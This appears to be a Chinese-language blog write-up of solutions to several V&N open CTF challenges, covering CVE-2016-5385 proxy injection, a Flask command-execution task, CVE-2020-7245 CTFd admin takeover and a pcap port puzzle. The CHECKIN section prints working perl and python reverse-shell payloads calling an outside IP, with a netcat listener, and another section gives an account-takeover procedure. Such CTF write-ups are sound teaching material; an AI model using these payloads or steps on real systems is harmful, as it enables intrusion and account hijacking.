V&N公开赛

V&N公开赛

隔离在家无事做,打打比赛乐趣寻~ 卧槽!毕设还没开始?!🤨

TimeTravel

考察CVE-2016-5385:可以理解为伪造代理吧。

题目分析

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

审计代码,可以看到使用了Guzzle

Guzzle是一个使得利用PHP实现发送HTTP请求,方便和web service集成的PHP客户端模拟组件。一句话,它就像一个PHP写的浏览器。当你的服务端程序需要作为客户端来访问其他的service服务时,这就是你所需要的。
简单的接口构建query string,POST requests,streaming large uploads/downloads,使用HTTP cookies,上传json data等。

根据代码逻辑,我们可以通过flag传参来拿到flag,但是是通过在服务器上创建一个client(),然后利用这个client去访问本地5000端口下的/api/eligible文件夹下的文件,将返回的json数据解码之后,如果字段里的successtrue,即可拿到flag。

关键就在于$client->get('http://127.0.0.1:5000/api/eligible'),题目服务器上肯定是没有这个了,想要实现要么可以通过拿到shell写入,要么就是代理到VPS上。
通过phpinfo可以看到,接口用的是fastCGI

找到的CVE-2016-5385就是通过CGI来伪造代理,大致原理:

cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

于是,我们就可以理一下解题思路了:

  • 1、在VPS上构造/api/eligible/index.php,并且读取到的结果要包含{“success”:true},可以参考下面的index.php的代码
  • 2、利用php -S localhost:5000在VPS上打开web服务的端口,注意:在包含/api/eligible/index.php的文件夹下开启web服务
  • 3、通过flag传参,抓包,在请求头中加入:http://ip:port,此处的ip是VPS的ip(由于BUU要求内网环境,这里就填内网机器的ip),port为VPS上一个开启的端口,可以利用php -S命令开启两个web服务端口来进行
//index.php
<?php
$data = array();
$data['success'] = true;

$json_string = json_encode($data);
echo $json_string;

?>

由于BUU上需要用内网,就在BUU中开了一个内网环境作为VPS:


如此以来,VPS就成为代理了,后面的$client->get('http://127.0.0.1:5000/api/eligible')也就在VPS上执行了,从而找到指定文件,返回{“success”:true},进而通过后面的判断,拿到flag。

CHECKIN

考察利用perl或python反弹shell,通过文件描述符读取被删除的文件内容。

题目分析

题目源码如下:

from flask import Flask, request 
import os

app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()

# @app.route('/flag')
# def flag():
# return flag
#want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

可以看到,flag文件首先被读取了,读取文件的进程在内存中是存在的,因此当我们通过/shell?c=来传入命令的时候,虽然会先删掉flag文件,但是flag内容仍然在内存里,通过读取/proc/PID/fd/文件描述符来读取。
解题的关键就是通过参数c利用system执行命令来反弹shell,然后去进程信息中找flag。

在这里curl不能用了,但是还可以利用perlpythonruby等语言来反弹shell,pyload如下:

/shell?c=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%22174.0.216.133:2017%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.0.216.133%22,2017));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

注意是反弹shell到VPS上,但是BUU需要用内网环境,和上题一样,开一个BUU的内网环境,通过nc -l -p 2017监听端口:

然后利用上面的payload访问即可反弹shell
利用perl反弹的shell如下:


利用python反弹的shell:

其实还是python反弹的好用些。

通过cat /proc/PID/fd/文件描述符一个个地找就能拿到flag了。

HappyCTFd

考察刚爆出的CTFd存在的一个CVE,CVE-2020-7245

解题

上面的CVE链接中讲的已经很清楚了,整体的解题思路就是:

  • 1、注册一个admin用户,(注意前面的空格)
  • 2、更改上面用户的密码,即利用注册的邮箱来更改密码
  • 3、成功修改管理员的密码并登录

注意BUU的内网环境需要用内网里的邮箱,否则收不到邮件,巨坑…

登录之后,在管理通道发现flag在哪里一个题目,把它的隐藏属性改为可见的,再到challenge页面即可看到该题目,下载附件即可拿到flag。

拉胯的三条命令

想到了热剧“亲爱的,热爱的”…

解题

下载附件之后,将后缀改为.zip解压发现一个数据包和一个提示的txt文件,提示将数据包中的端口从小到大排列即为flag。
利用tcpdump直接读数据包中的端口,然后就能拿到flag,命令如下:

tcpdump -n -r nmapll.pcapng 'tcp[13]=18' | awk '{print $3}' | sort -u

效果如下:

组合即为flag。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!